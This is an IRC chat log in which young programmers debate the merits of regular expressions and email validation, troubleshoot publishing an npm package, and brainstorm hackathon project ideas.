[2015-01-02T11:24:03-0500] <alokpathy> @combine sysadmin ashley
[2015-01-02T11:24:04-0500] <alchemy> sysadmin and ashley don't make anything exciting.
[2015-01-02T11:24:05-0500] <alokpathy> @combine sysadmin jacob
[2015-01-02T11:24:06-0500] <alchemy> sysadmin and jacob don't make anything exciting.
[2015-01-02T11:24:08-0500] <alokpathy> @combine sysadmin nexorg
[2015-01-02T11:24:08-0500] <alchemy> sysadmin and nexorg don't make anything exciting.
[2015-01-02T11:24:11-0500] <alokpathy> @combine sysadmin hardmath
[2015-01-02T11:24:12-0500] <alchemy> sysadmin and hardmath don't make anything exciting.
[2015-01-02T11:29:43-0500] <The_Master> anyone on good at regexs?
[2015-01-02T12:09:04-0500] <+hardmath123[zzz]> The_Master: regexes!
[2015-01-02T12:09:11-0500] hardmath123[zzz] is now known as hardmath123
[2015-01-02T12:09:43-0500] <The_Master> \\[[^\\]]+\\] finds things in brackets, right?
[2015-01-02T12:10:08-0500] <The_Master> (I am just learning regexes)
[2015-01-02T12:10:09-0500] <+hardmath123> is that a string literal?
[2015-01-02T12:10:22-0500] <+hardmath123> (is that supposed to be in quotes?)
[2015-01-02T12:10:32-0500] <The_Master> yea
[2015-01-02T12:10:53-0500] <+hardmath123> then yes
[2015-01-02T12:10:53-0500] <The_Master> JacobEdelman is making me use java so I learn more of it
[2015-01-02T12:10:58-0500] <The_Master> thanks
[2015-01-02T12:11:05-0500] <+hardmath123> JacobEdelman: that's a cruel prank.
[2015-01-02T12:11:12-0500] <+hardmath123> The_Master: don't use Java to learn regexes.
[2015-01-02T12:11:16-0500] <alokpathy> lololololol
[2015-01-02T12:11:38-0500] <The_Master> hardmath123: I am taking the AP this year so he wants me to practice.
[2015-01-02T12:11:55-0500] <The_Master> but java seems really annoying for regexes
[2015-01-02T12:12:03-0500] <+hardmath123> The_Master: oh. if you really want to get some practice, then *implement* regexes in Java.
[2015-01-02T12:12:30-0500] <The_Master> hardmath123: ok, I will try that later
[2015-01-02T12:14:32-0500] <+hardmath123> seriosly, apcs is literally (1) don't make obo errors, (2) use `private` wherever you can
[2015-01-02T12:48:02-0500] <+JacobEdelman> let me clear something up
[2015-01-02T12:48:04-0500] <+JacobEdelman> I hat java
[2015-01-02T12:48:06-0500] <+JacobEdelman> *hate
[2015-01-02T12:48:09-0500] <+JacobEdelman> a lot
[2015-01-02T12:48:14-0500] <The_Master> I agree
[2015-01-02T12:48:24-0500] <+JacobEdelman> but , The_Master wants to take the AP during 8th grade
[2015-01-02T12:48:28-0500] <+JacobEdelman> so, he has to learn it
[2015-01-02T12:48:30-0500] <The_Master> hardmath123: even implementing regexs in java is annoying
[2015-01-02T12:48:34-0500] <+JacobEdelman> ergo, any programming he does
[2015-01-02T12:48:38-0500] <+JacobEdelman> should be in Java
[2015-01-02T13:08:09-0500] <+hardmath123> JacobEdelman: that does not follow logically.
[2015-01-02T13:08:16-0500] <+hardmath123> also, is lark on npm yet?
[2015-01-02T13:09:24-0500] <+JacobEdelman> later today
[2015-01-02T13:09:26-0500] <+hardmath123> The_Master: http://www.eecs.berkeley.edu/~bh/v3ch1/fsm.html
[2015-01-02T13:09:30-0500] <+JacobEdelman> possibly in a few hours
[2015-01-02T13:09:36-0500] <+JacobEdelman> right now I'm supposed to be doing hw
[2015-01-02T13:10:08-0500] <alokpathy> You're trying to implement a regex parser?
[2015-01-02T13:17:11-0500] <@awe> [12:11:38]  <The_Master>	hardmath123: I am taking the AP this year so he wants me to practice.
[2015-01-02T13:17:11-0500] <@awe> [12:11:55]  <The_Master>	but java seems really annoying for regexes
[2015-01-02T13:17:13-0500] <@awe> The_Master: wat?
[2015-01-02T13:17:24-0500] <@awe> The_Master: you don't need to do ANYTHING with regex.
[2015-01-02T13:18:30-0500] <@awe> The_Master: You definitely don't need it for the AP test.
[2015-01-02T13:19:01-0500] <+hardmath123> awe: JacobEdelman is making The_Master do regexes in Java for practice, apparently.
[2015-01-02T13:19:10-0500] <@awe> The_Master: And I'd argue that you really don't need regexes in any language for anything.
[2015-01-02T13:19:19-0500] <+JacobEdelman> he was doing it anyway
[2015-01-02T13:19:25-0500] <+JacobEdelman> so I said he should do it in Java
[2015-01-02T13:19:27-0500] <@awe> He shouldn't do regexes.
[2015-01-02T13:19:30-0500] <@awe> That's a waste of time.
[2015-01-02T13:19:40-0500] <@awe> If he wants to actually learn Java, he should just make something.
[2015-01-02T13:20:39-0500] <+hardmath123> awe: but implementing regexes as a state machine is good for the soul/
[2015-01-02T13:20:46-0500] <@awe> it's definitely not.
[2015-01-02T13:22:28-0500] <@awe> regex is seriously bad though.
[2015-01-02T13:22:37-0500] <@awe> It represents the complete wrong approach to a language.
[2015-01-02T13:22:57-0500] <@awe> It focuses on ease of writing, and completely disregards ease of reading.
[2015-01-02T13:23:15-0500] <@awe> You read code many more times than you write it.
[2015-01-02T13:23:51-0500] <+hardmath123> yes but the basic idea is valuable (forget the ugly syntax that the world has adopted)
[2015-01-02T13:23:58-0500] <@awe> Uhh...
[2015-01-02T13:24:21-0500] <@awe> What exactly is the basic idea?
[2015-01-02T13:25:15-0500] <@awe> search patterns?
[2015-01-02T13:25:21-0500] <+hardmath123> yeah
[2015-01-02T13:25:26-0500] <+hardmath123> the fact that you can do that
[2015-01-02T13:25:35-0500] <+hardmath123> in a reasonably efficient way
[2015-01-02T13:25:40-0500] <@awe> >reasonably efficient.
[2015-01-02T13:25:41-0500] <@awe> It's not.
[2015-01-02T13:26:22-0500] <@awe> It can be 10-100x slower than other approaches to the same effect.
[2015-01-02T13:26:47-0500] <@awe> And it doesn't really matter because regex didn't invent search patterns.
[2015-01-02T13:27:07-0500] <@awe> regex invented this: "Each character in a regular expression is either understood to be a metacharacter with its special meaning, or a regular character with its literal meaning."
[2015-01-02T13:27:07-0500] <+hardmath123> by reasonably efficient, i mean you can do it with an algorithm that doesn't resemble brute-force search.
[2015-01-02T13:27:51-0500] <+hardmath123> ok, fine, s/regex/finite-state-machines-being-used-to-pattern-match-strings
[2015-01-02T13:28:11-0500] <@awe> Someone might be able to prove to me that that's useful by implementing one that is not regex.
[2015-01-02T13:28:31-0500] <+hardmath123> > forget the ugly syntax the world has adopted
[2015-01-02T13:28:39-0500] <@awe> I can't imagine that.
[2015-01-02T13:28:48-0500] <+hardmath123> also, i would argue that regexes themselves are also useful in many cases
[2015-01-02T13:29:00-0500] <+hardmath123> for example, vim actions
[2015-01-02T13:29:04-0500] <+hardmath123> and grep
[2015-01-02T13:29:05-0500] <@awe> Sure, if you plan on never reading the code again.
[2015-01-02T13:29:12-0500] <+hardmath123> i don't reread my vim actions
[2015-01-02T13:29:16-0500] <@awe> Right.
[2015-01-02T13:29:22-0500] <@awe> So, grep, vim, sed are fine.
[2015-01-02T13:29:29-0500] <+hardmath123> which is all i use regexes for
[2015-01-02T13:29:32-0500] <@awe> The minute you start writing it in software...
[2015-01-02T13:30:13-0500] <The_Master> awe: If you want a fast program you will only use once they are fine
[2015-01-02T13:30:42-0500] <@awe> But that's not software.
[2015-01-02T13:30:46-0500] <@awe> That's a tiny script.
[2015-01-02T13:30:49-0500] <@awe> And I literally just said that.
[2015-01-02T13:31:10-0500] <@awe> Compare: https://github.com/retep998/ircbutt-rs/blob/9ba11564dc7cf275c981c7ae3ed275c77511f39f/src/irc.rs#L205
[2015-01-02T13:31:17-0500] <@awe> (and the following two functions)
[2015-01-02T13:31:36-0500] <@awe> To: https://github.com/aatxe/irc/blob/master/src/data/message.rs#L64
[2015-01-02T13:32:25-0500] <The_Master> awe:ok
[2015-01-02T13:32:44-0500] <@awe> The latter is likely faster (although we never tested).
[2015-01-02T13:32:49-0500] <@awe> And is definitely easier to read.
[2015-01-02T13:33:47-0500] <+hardmath123> also, i'll be honest, since i'm used to regexes the regexes look more readable in that example
[2015-01-02T13:34:00-0500] <+hardmath123> though i agree that they're slower
[2015-01-02T13:34:15-0500] <+hardmath123> (a sufficiently smart compiled would optimize them?)
[2015-01-02T13:34:26-0500] <@awe> "^(?::([^ ]+) )?([^ ]+)(.*)"
[2015-01-02T13:34:35-0500] <@awe> How is that more legible?
[2015-01-02T13:35:15-0500] <@awe> I guess if all you do is read regex.
[2015-01-02T13:35:24-0500] <@awe> And uhh, I don't think a compiler could optimize them.
[2015-01-02T13:35:28-0500] <+hardmath123> or if you have spend long enough reading regexes
[2015-01-02T13:35:34-0500] <+hardmath123> *spent
[2015-01-02T13:36:04-0500] <@awe> Still, the vast majority of people don't use regex all the time and so would have a hard time reading that.
[2015-01-02T13:36:10-0500] <@awe> Whereas the latter code is really straight forward.
[2015-01-02T13:36:16-0500] <@awe> it's just finding a token and then slicing.
[2015-01-02T13:36:28-0500] <+hardmath123> yes
[2015-01-02T13:36:36-0500] <+hardmath123> also people are bad at making correct regexes
[2015-01-02T13:36:46-0500] <@awe> It's a lot harder to tell if a regex is correct.
[2015-01-02T13:37:35-0500] <+hardmath123> unless you know what you're talking about, which most regex authors don't
[2015-01-02T13:37:35-0500] <+hardmath123> http://ex-parrot.com/~pdw/Mail-RFC822-Address.html
[2015-01-02T13:37:41-0500] <+hardmath123> ^^ have you seen that?
[2015-01-02T13:39:50-0500] <@awe> Yes.
[2015-01-02T13:40:02-0500] <@awe> Do you know how easy a string-slicing parser is for email addresses?
[2015-01-02T13:40:09-0500] <+hardmath123> Yes.
[2015-01-02T13:41:03-0500] <+hardmath123> though i maintain that you really should check for existence of "@" and then just send them an email
[2015-01-02T13:41:37-0500] <@awe> Agreed.
[2015-01-02T13:42:02-0500] <@awe> if email.contains("@") { send_email(email) }
[2015-01-02T13:42:35-0500] <Hyper> email validation x.x
[2015-01-02T13:42:35-0500] <@awe> hardmath123: also, Perl is evil.
[2015-01-02T13:42:48-0500] <Hyper> yeah, checking for @ is generally the simplest way to catch most errors
[2015-01-02T13:42:57-0500] <+JacobEdelman> ummm... how do I publish an npm package?
[2015-01-02T13:43:00-0500] <@awe> hardmath123: similarly acceptable is if email.contains("@") && email.contains(".") { ... }
[2015-01-02T13:43:03-0500] <+hardmath123> JacobEdelman: npm publish?
[2015-01-02T13:43:05-0500] <The_Master> why not .*@.*//..*
[2015-01-02T13:43:23-0500] <@awe> hardmath123: or if email.contains("@") && email.slice_from("@").contains(".") { ... }
[2015-01-02T13:43:34-0500] <Hyper> emails don't need to contain a . afaik
[2015-01-02T13:43:47-0500] <@awe> Hyper: assuming they're on the internet, they do.
[2015-01-02T13:43:47-0500] <+JacobEdelman> hardmath123: does it go online instantly
[2015-01-02T13:43:49-0500] <Hyper> technically you can have x@com
[2015-01-02T13:43:54-0500] <Hyper> at the tld
[2015-01-02T13:43:55-0500] <Hyper> right?
[2015-01-02T13:44:04-0500] <+hardmath123> JacobEdelman: yes?
[2015-01-02T13:44:04-0500] <Hyper> In practice there aren't any
[2015-01-02T13:44:06-0500] <@awe> I think so, but there's no way to get an email address like that.
[2015-01-02T13:44:06-0500] <Hyper> but you can
[2015-01-02T13:44:22-0500] <@awe> It's not even that they don't exist, it's that there's no way to MAKE an email address like that.
[2015-01-02T13:44:35-0500] <Hyper> owner of TLD can, right?
[2015-01-02T13:44:35-0500] <@awe> I don't think the DNS spec would allow it.
[2015-01-02T13:45:17-0500] <@awe> If you want to be really nice with your email parsing, you can check if they accidentally made a typo for gmail.
[2015-01-02T13:45:17-0500] <@awe> lol
[2015-01-02T13:45:58-0500] <Hyper> And technically you could have, say, an internal email on your local network
[2015-01-02T13:46:08-0500] <Hyper> so you could have john@jsmith-work
[2015-01-02T13:46:10-0500] <Hyper> or something
[2015-01-02T13:46:39-0500] <Hyper> again, super corner case
[2015-01-02T13:46:42-0500] <Hyper> but it is a case
[2015-01-02T13:49:21-0500] <The_Master> doesn't   [^@]+@[a-b|1-9]+/.[a-b|1-9]+ work general
[2015-01-02T13:50:08-0500] <The_Master> *in general
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[2015-01-02T13:50:49-0500] <Tamini_> hey friends <3
[2015-01-02T13:51:41-0500] <+JacobEdelman> hello
[2015-01-02T13:51:46-0500] <+JacobEdelman> hardmath123: no luck so far
[2015-01-02T13:51:49-0500] <The_Master> hello
[2015-01-02T13:52:11-0500] <+JacobEdelman> hardmath123: "sudo npm publish" doesn't do anything
[2015-01-02T13:52:17-0500] <+JacobEdelman> hardmath123: no error, just nothing
[2015-01-02T14:03:40-0500] <+JacobEdelman> anyone else know how to publish npm packages?
[2015-01-02T14:07:13-0500] <+JacobEdelman> hmmm... weird
[2015-01-02T14:13:28-0500] <@awe> Hyper: that's why I said [13:43:47]  <@awe>	Hyper: assuming they're on the internet, they do.
[2015-01-02T14:14:16-0500] <+JacobEdelman> wow
[2015-01-02T14:14:18-0500] <+JacobEdelman> npm is hating me
[2015-01-02T14:14:29-0500] <+JacobEdelman> "sudo npm [anything]" doesn't do anything
[2015-01-02T14:14:46-0500] <+JacobEdelman> ... this isn't my computer
[2015-01-02T14:28:02-0500] <+JacobEdelman> okay
[2015-01-02T14:28:10-0500] <+JacobEdelman> so, I'll just use a different computer
[2015-01-02T14:28:15-0500] <+JacobEdelman> to publish to npm
[2015-01-02T14:28:22-0500] <+JacobEdelman> [bashes head against wall]
[2015-01-02T14:31:28-0500] <+LittleBobbyTables> JacobEdelman: reinstall it
[2015-01-02T14:31:40-0500] <+JacobEdelman> I've done
[2015-01-02T14:31:41-0500] <+JacobEdelman> that
[2015-01-02T14:31:44-0500] <+JacobEdelman> like 10 times
[2015-01-02T14:31:48-0500] <+LittleBobbyTables> You broke it then
[2015-01-02T14:52:23-0500] <+JacobEdelman> no
[2015-01-02T14:52:24-0500] <+JacobEdelman> mint did
[2015-01-02T14:55:08-0500] <@awe> JacobEdelman: install gentoo
[2015-01-02T14:55:22-0500] <+JacobEdelman> this is my moms computer
[2015-01-02T14:55:25-0500] <@awe> install gentoo
[2015-01-02T14:55:29-0500] <+JacobEdelman> she might not appreciate that
[2015-01-02T14:55:35-0500] <alokpathy> lololol
[2015-01-02T14:56:19-0500] <@awe> the answer is always install gentoo.
[2015-01-02T15:14:44-0500] <@awe>  self.prefix.as_ref().and_then(|s| s.find('!').map(|i| s[..i]))
[2015-01-02T15:14:48-0500] <@awe> The beauty of higher-order functions.
[2015-01-02T15:15:09-0500] <@awe> (for non-Rusters, and_then is the same as bind)
[2015-01-02T15:38:43-0500] <+hardmath123> JacobEdelman: you don't need sudo
[2015-01-02T15:39:50-0500] <+hardmath123> hardmath123: have you made an account and done npm login?
[2015-01-02T15:39:55-0500] <+hardmath123> JacobEdelman: ^^
[2015-01-02T15:47:07-0500] <@awe> hardmath123: lol @ pinging yourself
[2015-01-02T15:47:55-0500] <Hyper> JacobEdelman: use a real language :)
[2015-01-02T15:49:39-0500] <@awe> Hyper: lol
[2015-01-02T16:04:40-0500] <+hardmath123> so someone on reddit was like "i have a clueless cs teacher how am i going to pass the ap test?"
[2015-01-02T16:05:30-0500] <+hardmath123> and i ended up bashing a 500 word essay as a response
[2015-01-02T16:05:33-0500] <+hardmath123> :/
[2015-01-02T16:06:00-0500] <+hardmath123> JacobEdelman: also, the name `lark` is taken on npm. That might be your problem.
[2015-01-02T16:09:17-0500] <+JacobEdelman> I set the name to lark-lang
[2015-01-02T16:09:26-0500] <+JacobEdelman> also
[2015-01-02T16:09:36-0500] <+JacobEdelman> I have a login and everything
[2015-01-02T16:09:43-0500] <+JacobEdelman> also, npm just doesn't work
[2015-01-02T16:09:51-0500] <+JacobEdelman> sudo npm epicfail
[2015-01-02T16:09:55-0500] <+JacobEdelman> returns nothing, no error
[2015-01-02T16:10:12-0500] <+JacobEdelman> so I kinda gave up
[2015-01-02T16:10:23-0500] <+JacobEdelman> I'll just use The_Master's computer later
[2015-01-02T16:11:21-0500] <+hardmath123> ...
[2015-01-02T16:11:27-0500] <+hardmath123> ssh into backtick and do it from there?
[2015-01-02T16:11:32-0500] <@awe> lol
[2015-01-02T16:11:40-0500] <+hardmath123> backtick is configured legit-ly afaik
[2015-01-02T16:12:05-0500] <+JacobEdelman> that's my second back up plan
[2015-01-02T16:12:47-0500] <+hardmath123> :P
[2015-01-02T16:13:37-0500] <@awe> I have three servers that I could publish from :D
[2015-01-02T16:13:45-0500] <+JacobEdelman> nice
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[2015-01-02T17:03:18-0500] <+JacobEdelman> so, race for the galaxy is fun
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[2015-01-02T17:10:30-0500] <Tamini_> lol
[2015-01-02T17:10:39-0500] <Tamini_> we influenced him
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[2015-01-02T17:13:13-0500] <hardmath123> awe: how did you fix the certificate problem in weechat?
[2015-01-02T17:13:20-0500] <@awe> I switched to ZNC lol
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[2015-01-02T17:18:42-0500] <hardmath123> ok
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[2015-01-02T17:43:23-0500] <+JacobEdelman> hardmath123: I'm working on giving lark a barebones type system so it can do basic stuff.
[2015-01-02T17:43:56-0500] <+JacobEdelman> hardmath123: I'll release on npm once that is done.
[2015-01-02T17:44:02-0500] <+JacobEdelman> hardmath123: Probaly tommorow.
[2015-01-02T17:44:03-0500] <+hardmath123> ok
[2015-01-02T17:44:09-0500] <+hardmath123> also i'm using weechat now
[2015-01-02T17:44:12-0500] <+hardmath123> :D
[2015-01-02T18:47:31-0500] <Tamini_> yay
[2015-01-02T19:53:53-0500] <+JacobEdelman> hmmm... its gone all quiet here today
[2015-01-02T20:00:04-0500] <alokpathy> JacobEdelman: awe What are we doing for PennApps?
[2015-01-02T20:01:44-0500] <+JacobEdelman> ben thinks we should have a list
[2015-01-02T20:02:01-0500] <+JacobEdelman> but our number 1 right now is text based video searching
[2015-01-02T20:03:19-0500] <alokpathy> What else is on our list?
[2015-01-02T20:06:01-0500] <+hardmath123> JacobEdelman:  >"We need to force-feed JacobEdelman some JSLint." - Anonymous on the horrible JS style in an earlier version of Lark.      <-- wasn't that me?
[2015-01-02T20:06:58-0500] <+JacobEdelman> yes
[2015-01-02T20:07:03-0500] <+JacobEdelman> you want to be quoted?
[2015-01-02T20:07:12-0500] <+JacobEdelman> (and if so, under what name?)
[2015-01-02T20:07:24-0500] <+JacobEdelman> alokpathy: ummm...
[2015-01-02T20:07:39-0500] <+JacobEdelman> alokpathy: that drawing based container div designer idea I told you about...
[2015-01-02T20:08:03-0500] <alokpathy> Okay
[2015-01-02T20:09:55-0500] <+hardmath123> JacobEdelman: quoted as @Hardmath123
[2015-01-02T20:15:44-0500] <@awe> JacobEdelman: text-based video searching?
[2015-01-02T20:15:45-0500] <@awe> JacobEdelman: wat?
[2015-01-02T20:15:56-0500] <+JacobEdelman> awe: oh, we never told you
[2015-01-02T20:15:59-0500] <+JacobEdelman> well
[2015-01-02T20:16:23-0500] <+JacobEdelman> awe: this http://cs.stanford.edu/people/karpathy/deepimagesent/?hn
[2015-01-02T20:16:33-0500] <+JacobEdelman> awe: except with allowing you to search through videos
[2015-01-02T20:16:40-0500] <+JacobEdelman> awe: so I input the url of a video
[2015-01-02T20:16:44-0500] <+JacobEdelman> awe: and "bonfire"
[2015-01-02T20:16:56-0500] <+JacobEdelman> awe: and it finds the first point in the video
[2015-01-02T20:17:02-0500] <+JacobEdelman> awe: where there is a bonfire
[2015-01-02T20:17:05-0500] <@awe> Don't you think implementing someone's thesis in a couple of days is going to be hard?
[2015-01-02T20:17:26-0500] <+hardmath123> awe: i'm pretty sure they'll use apis
[2015-01-02T20:17:30-0500] <+hardmath123> that's how all hackathons work
[2015-01-02T20:17:32-0500] <+JacobEdelman> awe: the code is out there
[2015-01-02T20:17:41-0500] <+JacobEdelman> awe: there are actually several options
[2015-01-02T20:17:48-0500] <+hardmath123> it's all about gluing the right apis together and attaching the correct buzzwords to them
[2015-01-02T20:17:51-0500] <+JacobEdelman> awe: we just need to make it work on servers
[2015-01-02T20:17:57-0500] <+JacobEdelman> awe: and with a video
[2015-01-02T20:18:01-0500] <+JacobEdelman> and thats pretty much it
[2015-01-02T20:18:05-0500] <+JacobEdelman> hardmath123: yup!
[2015-01-02T20:18:08-0500] <@awe> that's boring as hell.
[2015-01-02T20:18:12-0500] <+JacobEdelman> no, its not
[2015-01-02T20:18:15-0500] <+JacobEdelman> end product is awesome
[2015-01-02T20:18:29-0500] <@awe> end-product is 99% someone else's work.
[2015-01-02T20:18:34-0500] <+JacobEdelman> nah
[2015-01-02T20:18:39-0500] <+JacobEdelman> 95%
[2015-01-02T20:18:40-0500] <+JacobEdelman> :P
[2015-01-02T20:18:50-0500] <+JacobEdelman> web interfacing won't be simple
[2015-01-02T20:18:58-0500] <+JacobEdelman> and there are several components that make it more difficult
[2015-01-02T20:19:05-0500] <+JacobEdelman> also
[2015-01-02T20:19:07-0500] <+JacobEdelman> some other stuff
[2015-01-02T20:19:11-0500] <+JacobEdelman> I'll tell you in a bit
[2015-01-02T20:19:12-0500] <+JacobEdelman> gtg
[2015-01-02T20:19:13-0500] <+hardmath123> JacobEdelman: will I be able to say "find me the point in Star Wars where Anakin is dueling Obi-Wan"
[2015-01-02T20:19:15-0500] <+hardmath123> ?
[2015-01-02T20:28:10-0500] <@awe> "several components that make it more difficult"
[2015-01-02T20:28:10-0500] <@awe> wat
[2015-01-02T20:29:48-0500] <@awe> decoder for whatever video format > get still frame image via that > plug into image api that already does that > give result
[2015-01-02T20:30:05-0500] <@awe> the only code you write is the ">"
[2015-01-02T20:30:16-0500] <@awe> and I guess the give result.
[2015-01-02T20:30:18-0500] <@awe> Boring.
[2015-01-02T20:30:23-0500] <+JacobEdelman> no
[2015-01-02T20:30:51-0500] <+JacobEdelman> wait
[2015-01-02T20:30:55-0500] <+JacobEdelman> that no was to hardmath123
[2015-01-02T20:31:45-0500] <+JacobEdelman> hardmath123: it isn't trained on images of lightsaber duels, but maybe it would work to just find a lightsaber duel in general (it could probaly find the sky city scene... maybe)
[2015-01-02T20:31:56-0500] <+JacobEdelman> awe: big thing
[2015-01-02T20:32:06-0500] <+JacobEdelman> awe: is priotizing what pictures
[2015-01-02T20:32:12-0500] <+JacobEdelman> awe: you convert to text
[2015-01-02T20:32:17-0500] <+JacobEdelman> awe: first
[2015-01-02T20:32:24-0500] <+JacobEdelman> awe: so, you don't want to do it sequentially
[2015-01-02T20:32:36-0500] <+JacobEdelman> awe: optimally, we would do one image from each scene first
[2015-01-02T20:32:47-0500] <+JacobEdelman> awe: so doing image differnetiation stuffs is important
[2015-01-02T20:32:58-0500] <@awe> average the colors in the still-frame
[2015-01-02T20:33:04-0500] <@awe> whenever that changes, that's a new scene
[2015-01-02T20:33:09-0500] <+JacobEdelman> is that the best way?
[2015-01-02T20:33:16-0500] <+JacobEdelman> you can be more creative than that
[2015-01-02T20:33:17-0500] <@awe> it's a really easy way.
[2015-01-02T20:33:28-0500] <@awe> That'll work rather effectively.
[2015-01-02T20:33:29-0500] <+JacobEdelman> yeah, but if the rest is too easy...
[2015-01-02T20:33:37-0500] <+JacobEdelman> than this bit would be harder
[2015-01-02T20:33:44-0500] <+JacobEdelman> also, we don't want to pick too hard of a project
[2015-01-02T20:34:02-0500] <+JacobEdelman> also, it would be so cool
[2015-01-02T20:34:03-0500] <@awe> Obviously not, but glue code isn't even fun to write.
[2015-01-02T20:34:15-0500] <+JacobEdelman> eh, then you don't have to write it
[2015-01-02T20:34:21-0500] <+JacobEdelman> it wouldn't be that hard to write anyway
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[2015-01-02T20:34:35-0500] <@awe> that's all it is.
[2015-01-02T20:34:43-0500] <+JacobEdelman> ben is here to help discuss it
[2015-01-02T20:34:44-0500] <@awe> the project is almost entirely glue code.
[2015-01-02T20:34:44-0500] <alokpathy> ben: !
[2015-01-02T20:35:12-0500] <ben> I think that for a hackathon, glue code is often appropriate.
[2015-01-02T20:35:23-0500] <ben> It's all about the demo.
[2015-01-02T20:35:46-0500] <+JacobEdelman> (que music)
[2015-01-02T20:35:50-0500] <+JacobEdelman> (all about that demo)
[2015-01-02T20:35:52-0500] <+JacobEdelman> :P
[2015-01-02T20:35:53-0500] <@awe> What's your goal?
[2015-01-02T20:36:30-0500] <ben> Well, making a user-friendly interface for machine vision algorithms could be a goal.
[2015-01-02T20:36:40-0500] <@awe> That's not what I meant.
[2015-01-02T20:36:42-0500] <ben> I know.
[2015-01-02T20:36:55-0500] <@awe> I meant if your goal in the competition is to make a demo, sure, making a demo is the best way to do that.
[2015-01-02T20:36:56-0500] <ben> I don't have a clearly defined goal going into a hackathon.
[2015-01-02T20:37:07-0500] <@awe> If your goal is to enjoy yourself, I don't think glue code is the best option.
[2015-01-02T20:37:23-0500] <@awe> There do exist small, novel ideas.
[2015-01-02T20:37:25-0500] <ben> Mostly, my goal is to just to have fun.
[2015-01-02T20:37:37-0500] <ben> *eliminate one 'to'
[2015-01-02T20:38:20-0500] <ben> Oh, Jacob's hack idea is certainly not my all-time favorite.
[2015-01-02T20:38:29-0500] <@awe> Do you really think just attaching someone's thesis to a video decoder is going to be the most fun thing we could do?
[2015-01-02T20:38:43-0500] <@awe> I don't think it's terrible, but I really don't think it's all that fun.
[2015-01-02T20:38:49-0500] <ben> I only came on this chat to say it wasn't terrible.
[2015-01-02T20:39:14-0500] <@awe> The scripting language you guys made was significantly more interesting.
[2015-01-02T20:39:19-0500] <ben> It's Not Terrible (tm).
[2015-01-02T20:39:44-0500] <@awe> I'd rather an idea like that where it's small, can leverage APIs, but also feels novel.
[2015-01-02T20:40:13-0500] <ben> The scripting language was just a few syntax additions to Python. The whole interface was the cool part (mostly because I made it).
[2015-01-02T20:40:32-0500] <ben> Any ideas?
[2015-01-02T20:40:32-0500] <@awe> i.e. something where we don't have a ton of work to do on our side, but our work is the work that's actually creating what we're doing.
[2015-01-02T20:40:40-0500] <ben> That would be ideal.
[2015-01-02T20:40:51-0500] <+JacobEdelman> I agree
[2015-01-02T20:41:10-0500] <ben> There is some novelty, however, in being the first to implement some academic idea in some fashion.
[2015-01-02T20:41:14-0500] <+JacobEdelman> but I also think its gonna be hard to find someting thats as cool as text video search
[2015-01-02T20:41:26-0500] <@awe> I wouldn't feel great about the video thing because the bulk of the work is someone else's.
[2015-01-02T20:41:39-0500] <@awe> and that's where all the interesting parts are.
[2015-01-02T20:41:44-0500] <+JacobEdelman> theres nothing morrally wrong with that
[2015-01-02T20:41:54-0500] <+JacobEdelman> and nobody whos making a real finished product
[2015-01-02T20:41:58-0500] <@awe> No, it's just not interesting.
[2015-01-02T20:41:59-0500] <+JacobEdelman> is gonna implement the entire algo
[2015-01-02T20:42:04-0500] <@awe> I didn't say it was morally wrong.
[2015-01-02T20:42:05-0500] <+JacobEdelman> thats what phds are for
[2015-01-02T20:42:06-0500] <@awe> I said it wasn't as fun.
[2015-01-02T20:42:12-0500] <+JacobEdelman> thats a valid point
[2015-01-02T20:42:15-0500] <+JacobEdelman> so, ideas?
[2015-01-02T20:42:20-0500] <+JacobEdelman> I had another idea
[2015-01-02T20:42:36-0500] <ben> Haskell is just an implementation of lambda calculus and other academic ideas....
[2015-01-02T20:42:58-0500] <+JacobEdelman> which was to make something were you could draw the outlines of shapes, snap a picture, and it creates some css and html, that has divs shapped like the image
[2015-01-02T20:43:15-0500] <@awe> The interesting part about Haskell is the implementation of those things.
[2015-01-02T20:43:17-0500] <+JacobEdelman> so I could draw some circles and squares
[2015-01-02T20:43:17-0500] <+hardmath123> JacobEdelman: some people i know did that last year.
[2015-01-02T20:43:22-0500] <@awe> Not the application of implementations of those things.
[2015-01-02T20:43:22-0500] <+JacobEdelman> really?
[2015-01-02T20:43:31-0500] <@awe> I mean, in terms of actually working on Haskell, yeah.
[2015-01-02T20:43:39-0500] <+JacobEdelman> hardmath123: really?
[2015-01-02T20:43:44-0500] <@awe> It's a little different with a programming language though because your goal is a lot of application.
[2015-01-02T20:43:44-0500] <+JacobEdelman> hardmath123: link by any chance?
[2015-01-02T20:43:57-0500] <+JacobEdelman> hmm.... so, other ideas?
[2015-01-02T20:44:06-0500] <@awe> But the spineless tagless g machine is insanely cool.
[2015-01-02T20:44:26-0500] <+JacobEdelman>  an hn clone that uses machine learning based on what you upvote was another idea I had
[2015-01-02T20:44:45-0500] <@awe> machine learning to do what?
[2015-01-02T20:44:54-0500] <+JacobEdelman> figure out
[2015-01-02T20:44:58-0500] <+JacobEdelman> what other posts you may like
[2015-01-02T20:45:05-0500] <+JacobEdelman> so posts are ranked on your screen by the algo
[2015-01-02T20:45:12-0500] <+JacobEdelman> that is based on what you upvote
[2015-01-02T20:45:12-0500] <ben> You mean something like the Facebook feed algorithm for public posts?
[2015-01-02T20:45:19-0500] <+JacobEdelman> yeah, actually
[2015-01-02T20:45:25-0500] <ben> I suspect that's been done before.
[2015-01-02T20:45:31-0500] <+JacobEdelman> really?
[2015-01-02T20:45:36-0500] <+JacobEdelman> a whole social network based on it?
[2015-01-02T20:45:36-0500] <@awe> Doesn't HN do that already?
[2015-01-02T20:45:46-0500] <ben> Not personalized.
[2015-01-02T20:45:47-0500] <+JacobEdelman> no, hn ranks things based on votes/time or so
[2015-01-02T20:45:50-0500] <@awe> Ah, okay.
[2015-01-02T20:46:20-0500] <+JacobEdelman> you have any ideas?
[2015-01-02T20:46:40-0500] <+JacobEdelman> oh yea, another idea both ben and I had
[2015-01-02T20:47:01-0500] <+JacobEdelman> was something that takes some text as Input text, and another large set of text as style text
[2015-01-02T20:47:04-0500] <@awe> If you want to have any chance of performing well in the competitive aspect, you don't want an idea that I'd come up with.
[2015-01-02T20:47:08-0500] <+JacobEdelman> extracts the meaning of the input text
[2015-01-02T20:47:24-0500] <+JacobEdelman> and converts it into text with the same style of the style text
[2015-01-02T20:48:00-0500] <+JacobEdelman> awe: I want a chance, but I'm also open to interesting ideas
[2015-01-02T20:48:03-0500] <+JacobEdelman> so, both
[2015-01-02T20:48:53-0500] <@awe> I probably won't come up with anything that you'd find interesting.
[2015-01-02T20:48:54-0500] <ben> Of course, Jacob, that idea might be incredibly difficult to implement.
[2015-01-02T20:49:03-0500] <@awe> Yeah, that sounds like it'd be hard.
